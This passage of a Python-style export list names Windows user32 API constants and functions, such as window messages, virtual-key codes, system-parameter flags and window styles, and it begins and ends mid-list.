'SPI_SETFOREGROUNDLOCKTIMEOUT', 'OIC_HAND',\n 'WTS_SESSION_TERMINATE', 'PEN_FLAG_INVERTED', 'SPI_GETPOWEROFFACTIVE',\n 'SW_SHOWNA', 'VK_RETURN', 'WS_ACTIVECAPTION', 'WM_RBUTTONDBLCLK', 'IDYES',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_DELTA', 'WINSTA_ACCESSCLIPBOARD',\n 'WM_POINTERDOWN', 'IDH_MISSING_CONTEXT', 'IS_POINTER_CANCELED_WPARAM',\n 'CTLCOLOR_SCROLLBAR', 'BDR_RAISEDINNER', 'HAS_POINTER_CONFIDENCE_WPARAM',\n 'ODA_FOCUS', 'IDC_NO', 'IS_POINTER_PRIMARY_WPARAM', 'SPI_GETDOCKMOVING',\n 'WM_QUIT', 'WM_NOTIFY', 'HCBT_QS', 'MNC_IGNORE', 'VK_HANGUL', 'HTCLIENT',\n 'WM_HANDHELDLAST', 'DISP_CHANGE_BADFLAGS', 'SetWindowLong', 'VK_EXECUTE',\n 'IS_POINTER_FOURTHBUTTON_WPARAM', 'CB_GETCOMBOBOXINFO', 'LBN_SELCANCEL',\n 'KEYEVENTF_EXTENDEDKEY', 'WM_TABLET_FIRST', 'WH_MSGFILTER', 'SSWF_NONE',\n 'SKF_LWINLOCKED', 'ARW_STARTTOP', 'GCL_HBRBACKGROUND', 'CBN_DROPDOWN',\n 'PDC_ORIENTATION_0', 'ICON_BIG', 'HTBOTTOMLEFT', 'CB_SETDROPPEDWIDTH',\n 'VK_CONVERT', 'SPI_SETSCREENSAVESECURE', 'MIIM_BITMAP', 'WM_RBUTTONUP',\n 'VK_BROWSER_FORWARD', 'TranslateAccelerator', 'STATE_SYSTEM_SELFVOICING',\n 'APPCOMMAND_MICROPHONE_VOLUME_MUTE', 'CF_METAFILEPICT', 'ES_CENTER',\n 'GetClassInfo', 'DST_COMPLEX', 'SPI_GETCONTACTVISUALIZATION', 'SM_SECURE',\n 'SPI_GETSYSTEMLANGUAGEBAR', 'WM_NCLBUTTONUP', 'PW_RENDERFULLCONTENT',\n 'MessageBoxEx', 'RT_ANIICON', 'DialogBoxW', 'SPI_GETBORDER', 'IMAGE_ICON',\n 'SM_CXSCREEN', 'BS_PUSHLIKE', 'ESB_DISABLE_DOWN', 'OCR_SIZENESW', 'VK_F7',\n 'SPI_SETKEYBOARDDELAY', 'HSHELL_LANGUAGE', 'WM_POINTERROUTEDTO', 'SB_TOP',\n 'WH_MAXHOOK', 'HELP_CONTEXTMENU', 'EVENT_OBJECT_TEXTSELECTIONCHANGED',\n 'IDC_ICON', 'FLASHW_ALL', 'SW_MAXIMIZE', 'SPI_SETHOTTRACKING', 'GCW_ATOM',\n 'CF_DSPTEXT', 'APPCOMMAND_BROWSER_HOME', 'CF_DSPENHMETAFILE', 'SS_LEFT',\n 'WS_EX_ACCEPTFILES', 'LB_SETCARETINDEX', 'TOUCH_FEEDBACK_NONE', 'CF_TEXT',\n 'RDW_VALIDATE', 'CharUpperBuff', 'TOUCH_HIT_TESTING_PROXIMITY_CLOSEST',\n 'SPI_GETICONTITLELOGFONT', 'DFC_CAPTION', 'SW_SHOWNORMAL', 'DI_IMAGE',\n 'BSM_ALLDESKTOPS', 'SS_REALSIZECONTROL', 'WM_DPICHANGED_BEFOREPARENT',\n 'SKF_LALTLOCKED', 'PEN_MASK_PRESSURE', 'ES_OEMCONVERT', 'COLOR_HOTLIGHT',\n 'MB_DEFMASK', 'MIIM_TYPE', 'EN_UPDATE', 'EVENT_CONSOLE_UPDATE_SIMPLE',\n 'GetUserObjectInformation', 'SPI_GETKEYBOARDPREF', 'SWP_NOSENDCHANGING',\n 'SPI_GETMOUSESIDEMOVETHRESHOLD', 'INPUTLANGCHANGE_FORWARD', 'WS_TABSTOP',\n 'PBT_APMRESUMEAUTOMATIC', 'WM_NULL', 'SPI_GETSCREENSAVESECURE', 'VK_MENU',\n 'LB_SETITEMDATA', 'VK_SELECT', 'PRF_CLIENT', 'EM_POSFROMCHAR', 'CDS_TEST',\n 'WM_UNINITMENUPOPUP', 'ALERT_SYSTEM_INFORMATIONAL', 'BN_KILLFOCUS',\n 'SPI_SETSELECTIONFADE', 'MOUSEEVENTF_HWHEEL', 'LB_FINDSTRING', 'MOD_ALT',\n 'EVENT_OBJECT_SELECTIONADD', 'WS_EX_STATICEDGE', 'MWMO_INPUTAVAILABLE',\n 'SM_CXFULLSCREEN', 'COLOR_INFOTEXT', 'SC_SCREENSAVE', 'OBJID_SIZEGRIP',\n 'MFS_UNHILITE', 'PRF_CHILDREN', 'VK_LAUNCH_MAIL', 'WM_MOVING', 'XBUTTON1',\n 'EM_GETMARGINS', 'HELP_SETWINPOS', 'LB_MULTIPLEADDSTRING', 'OBM_LFARROW',\n 'COLOR_WINDOWFRAME', 'GESTUREVISUALIZATION_TAP', 'RI_KEY_BREAK', 'CB_ERR',\n 'RI_MOUSE_MIDDLE_BUTTON_UP', 'SPI_GETFOREGROUNDLOCKTIMEOUT', 'XBUTTON2',\n 'SKF_HOTKEYSOUND', 'CharToOemBuff', 'MOUSEWHEEL_ROUTING_MOUSE_POS',\n 'SW_SHOWMINIMIZED', 'WS_EX_LTRREADING', 'SPI_SETMOUSEKEYS', 'CBN_CLOSEUP',\n 'WTS_SESSION_LOCK', 'MB_DEFAULT_DESKTOP_ONLY', 'ARW_TOPRIGHT', 'GID_ZOOM',\n 'RI_MOUSE_BUTTON_3_UP', 'GetClassName', 'MAPVK_VK_TO_CHAR', 'DS_ABSALIGN',\n 'WM_QUERYOPEN', 'SM_CYCAPTION', 'GetDlgItemText', 'RI_MOUSE_BUTTON_4_UP',\n 'SPIF_SENDCHANGE', 'BroadcastSystemMessage', 'UISF_HIDEFOCUS', 'ES_LEFT',\n 'TabbedTextOut', 'SPI_GETGESTUREVISUALIZATION', 'MB_RTLREADING', 'WINVER',\n 'BroadcastSystemMessageEx', 'PDC_ORIENTATION_180', 'VK_NONCONVERT',\n 'SPI_SETCOMBOBOXANIMATION', 'EVENT_OBJECT_UNCLOAKED', 'SS_BLACKRECT',\n 'DESKTOP_WRITEOBJECTS', 'GetIconInfoEx', 'SM_CLEANBOOT', 'CreateDialogW',\n 'DLGC_DEFPUSHBUTTON', 'GET_DEVICE_CHANGE_WPARAM', 'SPI_GETSOUNDSENTRY',\n 'WM_CAPTURECHANGED', 'KEYEVENTF_UNICODE', 'PEN_FLAG_ERASER', 'MIM_HELPID',\n 'CreateDialogIndirect', 'DLGC_WANTALLKEYS', 'VK_SEPARATOR', 'BF_TOPRIGHT',\n 'WH_SYSMSGFILTER', 'WM_MOUSEWHEEL', 'WM_FONTCHANGE', 'WM_STYLECHANGED',\n 'WM_MENUSELECT', 'IDI_INFORMATION', 'SPI_GETSNAPTODEFBUTTON', 'OCR_IBEAM',\n 'SPI_SETCURSORSHADOW', 'AW_HOR_POSITIVE', 'MB_ICONINFORMATION', 'RT_HTML',\n 'IDH_NO_HELP', 'OBM_DNARROW', 'COLOR_3DLIGHT', 'SPI_GETFASTTASKSWITCH',\n 'WM_INPUT_DEVICE_CHANGE', 'SPI_SETAUDIODESCRIPTION', 'SPI_GETHOTTRACKING',\n 'VK_NAVIGATION_CANCEL', 'LB_FINDSTRINGEXACT', 'WM_MENUCOMMAND', 'RT_FONT',\n 'RT_ACCELERATOR', 'CallWindowProc', 'SSF_SOUNDSENTRYON', 'SWP_NOACTIVATE',\n 'DFC_POPUPMENU', 'RDW_NOFRAME', 'WMSZ_TOPLEFT', 'WM_MOUSEMOVE', 'MOD_WIN',\n 'WM_PAINTICON', 'EVENT_SYSTEM_MINIMIZESTART', 'SPI_GETMENUANIMATION',\n 'USER_DEFAULT_SCREEN_DPI', 'WM_POINTERLEAVE', 'EM_GETRECT', 'MIIM_STRING',\n 'DefFrameProc', 'EVENT_OBJECT_LOCATIONCHANGE', 'DSS_HIDEPREFIX', 'SB_CTL',\n 'MOUSEEVENTF_MIDDLEUP', 'CREATEPROCESS_MANIFEST_RESOURCE_ID', 'IDC_CROSS',\n 'MNGO_NOERROR', 'SPI_SETLISTBOXSMOOTHSCROLLING', 'CBN_SELENDCANCEL',\n 'SPI_GETMENUUNDERLINES', 'VK_GAMEPAD_DPAD_LEFT', 'SM_CXICONSPACING',\n 'RID_HEADER', 'WM_NCMBUTTONDBLCLK', 'KLF_SUBSTITUTE_OK', 'DFC_BUTTON',\n 'BSF_FLUSHDISK', 'TOUCH_HIT_TESTING_PROXIMITY_FARTHEST', 'QS_SENDMESSAGE',\n 'EWX_REBOOT', 'MB_SERVICE_NOTIFICATION', 'WM_CTLCOLORSTATIC', 'RT_CURSOR',\n 'RI_MOUSE_WHEEL', 'EM_LINEFROMCHAR', 'UISF_ACTIVE', 'LBS_DISABLENOSCROLL',\n 'SPI_SETDRAGFROMMAXIMIZE', 'DCX_EXCLUDERGN', 'FKF_FILTERKEYSON', 'QS_KEY',\n 'GESTUREVISUALIZATION_ON', 'CBN_SELENDOK', 'IDC_UPARROW', 'HWND_TOP',\n 'LR_CREATEDIBSECTION', 'TOUCH_MASK_PRESSURE', 'WS_GROUP', 'SM_CXCURSOR',\n 'PDC_MODE_ASPECTRATIOPRESERVED', 'RI_MOUSE_BUTTON_1_UP', 'CB_SETTOPINDEX',\n 'APPCOMMAND_MEDIA_CHANNEL_UP', 'SPI_GETFLATMENU', 'RAWINPUT_ALIGN',\n 'WM_MOUSEFIRST', 'COLOR_INACTIVECAPTION', 'SetClassLongPtrW', 'BS_CENTER',\n 'BDR_RAISEDOUTER', 'WM_HSCROLL', 'SM_CYMINSPACING', 'MB_DEFBUTTON4',\n 'MA_ACTIVATEANDEAT', 'SPI_SETSTICKYKEYS', 'PDC_MAPPING_CHANGE', 'AW_HIDE',\n 'WM_POINTERDEVICECHANGE', 'OIC_BANG', 'TOUCHINPUTMASKF_CONTACTAREA',\n 'HSHELL_ACCESSIBILITYSTATE', 'PDC_RESOLUTION', 'SBM_SETSCROLLINFO',\n 'WM_DWMSENDICONICTHUMBNAIL', 'SPI_SETFOCUSBORDERWIDTH', 'LLKHF_INJECTED',\n 'SOUND_SYSTEM_MINIMIZE', 'CDS_SET_PRIMARY', 'SPI_SETICONTITLELOGFONT',\n 'SBM_GETPOS', 'SKF_RSHIFTLOCKED', 'WM_GETOBJECT', 'VK_NAVIGATION_UP',\n 'SKF_HOTKEYACTIVE', 'HWND_MESSAGE', 'POINTER_MOD_SHIFT',\n 'LR_DEFAULTSIZE', 'SPI_SETWINARRANGING', 'InsertMenu', 'WM_CTLCOLORDLG',\n 'IS_POINTER_INRANGE_WPARAM', 'STATE_SYSTEM_MARQUEED', 'LB_SETANCHORINDEX',\n 'CBS_HASSTRINGS', 'POINTER_DEVICE_PRODUCT_STRING_MAX', 'SPI_SETBORDER',\n 'FKF_INDICATOR', 'EM_SETREADONLY', 'OCR_CROSS', 'ESB_DISABLE_RTDN',\n 'FKF_AVAILABLE', 'APPCOMMAND_VOLUME_DOWN', 'WPF_ASYNCWINDOWPLACEMENT',\n 'LBS_MULTICOLUMN', 'WM_MDICREATE', 'WS_CLIPSIBLINGS', 'SM_YVIRTUALSCREEN',\n 'HSHELL_WINDOWDESTROYED', 'SPI_GETFOCUSBORDERHEIGHT', 'SM_MAXIMUMTOUCHES',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_UP', 'OBJID_QUERYCLASSNAMEIDX', 'DST_BITMAP',\n 'WM_GETTITLEBARINFOEX', 'DC_SMALLCAP', 'GET_WHEEL_DELTA_WPARAM', 'IDH_OK',\n 'SB_THUMBPOSITION', 'GWL_EXSTYLE', 'WVR_HREDRAW', 'VK_INSERT', 'VK_PLAY',\n 'FAPPCOMMAND_MASK', 'DWL_MSGRESULT', 'COLOR_ACTIVECAPTION', 'WS_VSCROLL',\n 'COLOR_MENUBAR', 'MSGFLT_RESET', 'DFCS_INACTIVE', 'ALERT_SYSTEM_CRITICAL',\n 'MF_BITMAP', 'SS_BITMAP', 'TOUCH_HIT_TESTING_NONE', 'SM_CXMENUSIZE',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_USE_HW_TIMESTAMP', 'GID_ROTATE',\n 'CreateDialogIndirectW', 'MDIS_ALLCHILDSTYLES', 'NID_INTEGRATED_TOUCH',\n 'MA_ACTIVATE', 'MOD_NOREPEAT', 'HSHELL_TASKMAN', 'MFT_MENUBARBREAK',\n 'DI_NORMAL', 'WVR_ALIGNLEFT', 'KF_EXTENDED', 'VK_VOLUME_UP', 'SB_HORZ',\n 'GET_FLAGS_LPARAM', 'APPCOMMAND_MEDIA_STOP', 'CTLCOLOR_DLG', 'WB_LEFT',\n 'RIDEV_INPUTSINK', 'TOUCH_HIT_TESTING_DEFAULT', 'EM_LIMITTEXT', 'GID_END',\n 'DT_SINGLELINE', 'SHOW_OPENNOACTIVATE', 'FAPPCOMMAND_OEM', 'BS_OWNERDRAW',\n 'HELP_MULTIKEY', 'WM_RENDERFORMAT', 'IDC_SIZEWE', 'PBT_APMBATTERYLOW',\n 'SS_EDITCONTROL', 'EnumWindowStations', 'GCL_CBCLSEXTRA', 'SW_RESTORE',\n 'HCBT_DESTROYWND', 'VK_CRSEL', 'GetClassLongPtr', 'GET_APPCOMMAND_LPARAM',\n 'LB_GETHORIZONTALEXTENT', 'SPI_SETACTIVEWNDTRKZORDER', 'DM_GETDEFID',\n 'WS_EX_LAYERED', 'RT_BITMAP', 'MOUSEEVENTF_XUP', 'UOI_HEAPSIZE', 'CF_DIB',\n 'SM_CXEDGE', 'SPI_GETSTICKYKEYS', 'WB_RIGHT', 'WMSZ_TOP',\n 'PBT_APMQUERYSTANDBY', 'RT_DLGINCLUDE', 'TWF_FINETOUCH', 'EN_AFTER_PASTE',\n 'ENDSESSION_CRITICAL', 'APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE',\n 'OCR_SIZEALL', 'STATE_SYSTEM_SELECTABLE', 'FLASHW_TRAY', 'EM_SCROLLCARET',\n 'VK_MEDIA_STOP', 'SPI_GETCARETBROWSING', 'ESB_DISABLE_LEFT', 'BF_ADJUST',\n 'SM_CYFULLSCREEN', 'WM_NCRBUTTONDOWN', 'GESTUREVISUALIZATION_OFF',\n 'EVENT_SYSTEM_DRAGDROPEND', 'WINSTA_ACCESSGLOBALATOMS', 'GR_USEROBJECTS',\n 'MB_APPLMODAL', 'SKF_TWOKEYSOFF', 'BS_BITMAP',\n 'POINTER_MESSAGE_FLAG_FOURTHBUTTON', 'SetUserObjectInformation', 'CF_DIF',\n 'VK_NAVIGATION_LEFT', 'BM_GETIMAGE', 'VK_OEM_102', 'BST_PUSHED', 'WH_MIN',\n 'DFCS_TRANSPARENT', 'CBS_DISABLENOSCROLL', 'SetMenuItemInfo', 'DWL_USER',\n 'WM_SETICON', 'SM_CYSCREEN', 'VK_VOLUME_DOWN', 'VK_DIVIDE', 'SM_CYBORDER',\n 'POINTER_FLAG_INRANGE', 'DLGC_UNDEFPUSHBUTTON', 'PEN_FLAG_NONE', 'VK_ADD',\n 'ES_NUMBER', 'MF_APPEND', 'CONTACTVISUALIZATION_PRESENTATIONMODE',\n 'MAPVK_VK_TO_VSC', 'PENARBITRATIONTYPE_NONE', 'POINTER_FLAG_NEW', 'VK_F5',\n 'SKF_RCTLLOCKED', 'LBN_ERRSPACE', 'PBT_APMQUERYSUSPEND', 'LB_GETTOPINDEX',\n 'MSGFLT_REMOVE', 'QS_POINTER', 'SPI_SETSNAPSIZING', 'WM_NCLBUTTONDOWN',\n 'WS_SYSMENU', 'MNS_CHECKORBMP', 'QS_INPUT', 'ODA_SELECT', 'SM_CYMENUSIZE',\n 'SPI_SETPENWINDOWS', 'UnregisterClass', 'HCF_LOGONDESKTOP', 'WM_TCARD',\n 'HCF_HOTKEYSOUND', 'WVR_ALIGNRIGHT', 'FE_FONTSMOOTHINGCLEARTYPE', 'HTTOP',\n 'LoadCursorFromFile', 'WM_PAINTCLIPBOARD', 'GCL_STYLE', 'SLE_WARNING',\n 'GetClassInfoEx', 'UOI_TYPE', 'GR_GDIOBJECTS', 'CF_RIFF', 'VK_RSHIFT',\n 'SPI_GETSHOWIMEUI', 'SPI_GETTOOLTIPFADE', 'SWP_FRAMECHANGED', 'LLKHF_UP',\n 'APPCOMMAND_NEW', 'LR_LOADTRANSPARENT', 'MKF_INDICATOR', 'GWLP_ID',\n 'GET_POINTERID_WPARAM', 'APPCOMMAND_MEDIA_NEXTTRACK', 'MKF_HOTKEYSOUND',\n 'SPI_GETMOUSECLICKLOCKTIME', 'DCX_NORESETATTRS', 'SBS_SIZEBOX', 'VK_ZOOM',\n 'APPCOMMAND_BROWSER_REFRESH', 'SOUND_SYSTEM_SHUTDOWN', 'WM_MDISETMENU',\n 'BDR_SUNKENINNER', 'SPI_GETMOUSE', 'GCL_WNDPROC', 'DFCS_SCROLLDOWN',\n 'EVENT_CONSOLE_UPDATE_SCROLL', 'STATE_SYSTEM_INVISIBLE', 'LBS_STANDARD',\n 'STATE_SYSTEM_TRAVERSED', 'TPM_TOPALIGN', 'EVENT_SYSTEM_DRAGDROPSTART',\n 'MessageBox', 'DT_BOTTOM', 'DOF_SHELLDATA', 'VK_SHIFT', 'OemToCharBuff',\n 'SM_CXFOCUSBORDER', 'MB_OKCANCEL', 'SPI_GETSNAPSIZING', 'WS_POPUP',\n 'SM_CXBORDER', 'RIDEV_REMOVE', 'MapVirtualKey', 'DCX_PARENTCLIP', 'NMHDR',\n 'WM_CTLCOLORLISTBOX', 'SM_REMOTESESSION', 'RI_MOUSE_HWHEEL', 'MF_CHECKED',\n 'MOUSE_MOVE_NOCOALESCE', 'SM_CYMINIMIZED', 'DFCS_CAPTIONMAX', 'BS_FLAT',\n 'GW_HWNDNEXT', 'GET_SC_WPARAM', 'DT_WORD_ELLIPSIS', 'WM_IME_KEYDOWN',\n 'SM_MOUSEWHEELPRESENT', 'GMMP_USE_DISPLAY_POINTS', 'EM_SETTABSTOPS',\n 'OBM_OLD_DNARROW', 'VkKeyScan', 'CB_SELECTSTRING', 'HTSYSMENU', 'LB_OKAY',\n 'WINABLEAPI', 'GC_PAN_WITH_SINGLE_FINGER_VERTICALLY', 'RDW_ERASE',\n 'HSHELL_MONITORCHANGED', 'APPCOMMAND_MEDIA_FAST_FORWARD', 'COLOR_3DFACE',\n 'SOUND_SYSTEM_WARNING', 'STN_ENABLE', 'RIDI_PREPARSEDDATA', 'EM_SCROLL',\n 'VK_OEM_WSCTRL', 'HCF_HOTKEYAVAILABLE', 'DT_RTLREADING', 'WM_COMPACTING',\n 'SPI_SETDROPSHADOW', 'DFCS_MENUBULLET', 'FindWindow', 'CreateWindowA',\n 'DISP_CHANGE_NOTUPDATED', 'CTLCOLOR_LISTBOX', 'WM_DEVICECHANGE', 'WM_APP',\n 'POINTER_FLAG_UPDATE', 'WINEVENT_SKIPOWNPROCESS', 'DialogBoxIndirectW',\n 'WM_NCMBUTTONDOWN', 'BM_SETSTATE', 'HTMINBUTTON', 'WS_THICKFRAME',\n 'VK_GAMEPAD_DPAD_UP', 'GID_ROLLOVER', 'COLOR_ACTIVEBORDER', 'OBJID_MENU',\n 'KLF_ACTIVATE', 'VK_SPACE', 'MOUSEEVENTF_VIRTUALDESK', 'GetKeyNameText',\n 'WM_ACTIVATEAPP', 'OpenWindowStation', 'VK_SUBTRACT', 'SS_USERITEM',\n 'IDC_ARROW', 'WM_SYSCHAR', 'WM_DPICHANGED_AFTERPARENT', 'EM_SETIMESTATUS',\n 'MAX_LOGICALDPIOVERRIDE', 'EVENT_OBJECT_INVOKED', 'PostMessage', 'VK_F22',\n 'CBS_DROPDOWNLIST', 'HSHELL_HIGHBIT', 'SKF_LSHIFTLOCKED', 'EM_LINELENGTH',\n 'COLOR_GRADIENTINACTIVECAPTION', 'POINTER_FLAG_CANCELED', 'SIF_ALL',\n 'SPI_GETMOUSEVANISH', 'COLOR_3DSHADOW', 'SM_DBCSENABLED', 'HSHELL_FLASH',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_UP', 'WINSTA_READSCREEN', 'WM_SIZING',\n 'STATE_SYSTEM_FOCUSABLE', 'WINEVENT_OUTOFCONTEXT', 'WH_MOUSE_LL', 'INPUT',\n 'SM_CXPADDEDBORDER', 'LBS_HASSTRINGS', 'VK_OEM_PERIOD', 'WM_NCXBUTTONUP',\n 'EWX_SHUTDOWN', 'CreateDesktop', 'CBS_OEMCONVERT', 'RIDEV_NOLEGACY',\n 'DlgDirSelectEx', 'OBM_UPARROW', 'HTBORDER', 'WM_ENDSESSION', 'LoadImage',\n 'WM_NCRBUTTONUP', 'SPI_GETSCREENREADER', 'GESTURECONFIGMAXCOUNT', 'ACCEL',\n 'MSGF_MENU', 'INPUT_MOUSE', 'CB_MSGMAX', 'HELP_TCARD_DATA', 'DCX_WINDOW',\n 'SWP_HIDEWINDOW', 'RI_MOUSE_BUTTON_5_UP', 'HWND_NOTOPMOST', 'WS_DISABLED',\n 'EM_GETIMESTATUS', 'CONSOLE_CARET_SELECTION', 'SM_CXSIZEFRAME', 'DI_MASK',\n 'WM_MBUTTONDOWN', 'SPI_GETPOWEROFFTIMEOUT', 'COLOR_CAPTIONTEXT', 'VK_F23',\n 'TOUCHEVENTF_PRIMARY', 'DDL_DIRECTORY', 'SPI_GETAUDIODESCRIPTION',\n 'VK_GAMEPAD_DPAD_DOWN', 'SM_CYDOUBLECLK', 'RI_MOUSE_BUTTON_5_DOWN',\n 'NID_EXTERNAL_PEN', 'TOUCH_MASK_ORIENTATION', 'RIM_TYPEMAX', 'COLOR_MENU',\n 'SM_CXMAXTRACK', 'SM_CXMINTRACK', 'MKF_MODIFIERS', 'WM_DRAWITEM', 'GetDC',\n 'WVR_ALIGNTOP', 'PBTF_APMRESUMEFROMFAILURE', 'WH_KEYBOARD', 'BN_UNPUSHED',\n 'WM_PALETTECHANGED', 'EVENT_OBJECT_STATECHANGE', 'WM_CANCELMODE',\n 'MFT_RADIOCHECK', 'DFCS_BUTTON3STATE', 'OBJID_WINDOW', 'WS_CLIPCHILDREN',\n 'DT_EXPANDTABS', 'HBMMENU_POPUP_MAXIMIZE', 'MONITORINFOF_PRIMARY',\n 'WS_EX_LAYOUTRTL', 'WS_EX_NOPARENTNOTIFY', 'EN_CHANGE', 'HTNOWHERE',\n 'EVENT_OBJECT_FOCUS', 'SM_CXDRAG', 'LWA_ALPHA', 'VK_F20',\n 'GetKeyboardLayoutName', 'COLOR_MENUHILIGHT', 'MDITILE_HORIZONTAL',\n 'SM_PENWINDOWS', 'HBMMENU_MBAR_MINIMIZE', 'RIDEV_PAGEONLY', 'MNC_SELECT',\n 'SPI_SETCURSORS', 'DS_LOCALEDIT', 'SPI_GETHIGHCONTRAST', 'VK_APPS',\n 'CopyAcceleratorTable', 'WM_IME_COMPOSITIONFULL', 'HBMMENU_POPUP_RESTORE',\n 'IS_POINTER_FIFTHBUTTON_WPARAM', 'STATE_SYSTEM_PROTECTED', 'BS_LEFTTEXT',\n 'GET_XBUTTON_WPARAM', 'MSGFLTINFO_ALREADYDISALLOWED_FORWND', 'MOD_SHIFT',\n 'RIM_TYPEHID', 'OBM_OLD_LFARROW', 'WM_MBUTTONDBLCLK', 'RIDEV_EXMODE',\n 'MINIMUM_RESERVED_MANIFEST_RESOURCE_ID', 'GID_ROTATE_ANGLE_FROM_ARGUMENT',\n 'CB_GETTOPINDEX', 'VK_OEM_FJ_TOUROKU', 'UISF_HIDEACCEL', 'WA_CLICKACTIVE',\n 'HSHELL_RUDEAPPACTIVATED', 'MIM_BACKGROUND', 'CF_PRIVATELAST', 'IDRETRY',\n 'SSWF_DISPLAY', 'WM_RENDERALLFORMATS', 'WM_TIMECHANGE', 'BST_CHECKED',\n 'TOUCH_MASK_NONE', 'SM_CYVTHUMB', 'WM_POINTERUPDATE', 'CF_OWNERDISPLAY',\n 'CCHILDREN_SCROLLBAR', 'HELP_SETINDEX', 'APPCOMMAND_TREBLE_UP', 'WM_UNDO',\n 'DialogBoxIndirect', 'DOF_PROGMAN', 'MIIM_FTYPE', 'SW_SHOWDEFAULT',\n 'BSF_ALLOWSFW', 'BS_CHECKBOX', 'EM_REPLACESEL', 'APPCOMMAND_VOLUME_MUTE',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_EXPO_SMOOTH_ALPHA', 'DSS_DISABLED',\n 'EVENT_CONSOLE_END_APPLICATION', 'GET_RAWINPUT_CODE_WPARAM', 'WM_GETTEXT',\n 'GetWindowTextLength', 'GUI_POPUPMENUMODE', 'CCHILDREN_TITLEBAR',\n 'GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY', 'EnumDisplaySettings', 'VK_F21',\n 'POINTER_MESSAGE_FLAG_INCONTACT', 'MSGFLT_ALLOW', 'WINSTA_ENUMDESKTOPS',\n 'APPCOMMAND_UNDO', 'FKF_HOTKEYSOUND', 'VK_HOME', 'TPM_HORIZONTAL',\n 'SPI_SETTOUCHPREDICTIONPARAMETERS', 'DSS_PREFIXONLY', 'CS_CLASSDC',\n 'BSF_NOTIMEOUTIFNOTHUNG', 'BROADCAST_QUERY_DENY', 'BSM_NETDRIVER',\n 'WM_SYNCPAINT', 'RT_ANICURSOR', 'GET_KEYSTATE_WPARAM', 'DS_USEPIXELS',\n 'EVENT_OBJECT_DRAGENTER', '_In_bypassable_reads_or_z_', 'MOD_CONTROL',\n 'SPI_SETPENARBITRATIONTYPE', 'MK_MBUTTON', 'LoadKeyboardLayout', 'VK_F24',\n 'EM_FMTLINES', 'BS_PUSHBUTTON', 'DFCS_MENUARROWRIGHT', 'TME_LEAVE',\n 'SB_PAGEDOWN', 'EVENT_SYSTEM_SOUND', 'RT_STRING', 'HCBT_SYSCOMMAND',\n 'WS_EX_MDICHILD', 'RIDEV_APPKEYS', 'ALERT_SYSTEM_QUERY', 'RI_KEY_MAKE',\n 'HBMMENU_MBAR_RESTORE', 'WTS_REMOTE_DISCONNECT', 'NEXTRAWINPUTBLOCK',\n 'MSGF_MESSAGEBOX', 'SM_CYDLGFRAME', 'CB_MULTIPLEADDSTRING', 'HTRIGHT',\n 'MF_MENUBARBREAK', 'GetMonitorInfo', 'MONITOR_DEFAULTTONEAREST', 'MF_END',\n 'SPI_SETTOOLTIPFADE', 'QS_TIMER', 'WH_MOUSE', 'DFCS_PUSHED', 'MB_RIGHT',\n 'SPI_GETCOMBOBOXANIMATION', 'APPCOMMAND_BROWSER_SEARCH', 'SM_SERVERR2',\n 'HC_SYSMODALOFF', 'WM_STYLECHANGING', 'HSHELL_WINDOWREPLACED', 'SW_HIDE',\n 'VK_BROWSER_HOME', 'MF_DISABLED', 'GWL_WNDPROC', 'MDITILE_SKIPDISABLED',\n 'EVENT_SYSTEM_MINIMIZEEND', 'FKF_CONFIRMHOTKEY', 'WM_SHOWWINDOW',\n 'IS_POINTER_FLAG_SET_WPARAM', 'RI_MOUSE_BUTTON_1_DOWN', 'WinHelp',\n 'WM_CTLCOLORSCROLLBAR', 'COLOR_BTNTEXT', 'DDL_POSTMSGS', 'IDH_HELP',\n 'APPCOMMAND_DWM_FLIP3D', 'DST_ICON', 'CB_LIMITTEXT', 'WMSZ_TOPRIGHT',\n 'TOUCHEVENTF_NOCOALESCE', 'SPI_GETSCREENSAVEACTIVE', 'SM_CYMENUCHECK',\n 'SM_CXSMSIZE', 'SPI_SETTHREADLOCALINPUTSETTINGS', 'SPI_GETDESKWALLPAPER',\n 'GWLP_HWNDPARENT', 'EDS_RAWMODE', 'PostAppMessageA', 'GMDI_GOINTOPOPUPS',\n 'RegisterWindowMessage', 'IDI_EXCLAMATION', 'WM_MDITILE', 'DS_SHELLFONT',\n 'LB_SETTOPINDEX', 'SPI_SETSNAPTODEFBUTTON', 'WM_SETFONT', 'DlgDirList',\n 'SPI_SETFOREGROUNDFLASHCOUNT', 'HELP_PARTIALKEY', 'DFCS_CAPTIONHELP',\n 'SPI_GETWAITTOKILLTIMEOUT', 'CONTACTVISUALIZATION_OFF', 'IDANI_CAPTION',\n 'RI_MOUSE_LEFT_BUTTON_DOWN', 'SPI_GETLOWPOWERTIMEOUT', 'GID_TWOFINGERTAP',\n 'BSF_QUERY', 'EVENT_CONSOLE_UPDATE_REGION', 'WM_PRINTCLIENT', 'RI_KEY_E0',\n 'RDW_INVALIDATE', 'WM_INITMENUPOPUP', 'EDGE_ETCHED', 'GCL_HICONSM',\n 'CB_ERRSPACE', 'VK_NAVIGATION_DOWN', 'DS_NOFAILCREATE', 'WS_MAXIMIZE',\n 'SMTO_ERRORONEXIT', 'KEYEVENTF_SCANCODE', 'LB_SELITEMRANGE', 'RI_KEY_E1',\n 'CBN_EDITCHANGE', 'WM_HANDHELDFIRST', 'SMTO_NOTIMEOUTIFNOTHUNG', 'BF_TOP',\n 'WS_EX_NOACTIVATE', 'CS_DROPSHADOW', 'DSS_RIGHT', 'DESKTOP_CREATEWINDOW',\n 'LBN_SELCHANGE', 'CS_NOCLOSE', 'STATE_SYSTEM_ANIMATED', 'CharUpper',\n 'BSF_SENDNOTIFYMESSAGE', 'RDW_UPDATENOW', 'LR_LOADFROMFILE', 'RT_RCDATA',\n 'IsCharAlphaNumeric', 'LB_GETLOCALE', 'SW_SHOWNOACTIVATE', 'UIS_CLEAR',\n 'BF_DIAGONAL_ENDTOPRIGHT', 'BSM_APPLICATIONS', 'WM_CLIPBOARDUPDATE',\n 'MAX_TOUCH_PREDICTION_FILTER_TAPS', 'SPI_SETCLIENTAREAANIMATION',\n 'SPI_SETFONTSMOOTHINGCONTRAST', 'STM_GETIMAGE', 'WM_SYSDEADCHAR',\n 'ODT_MENU', 'LB_SETLOCALE', 'SS_ETCHEDHORZ', 'GCL_HCURSOR', 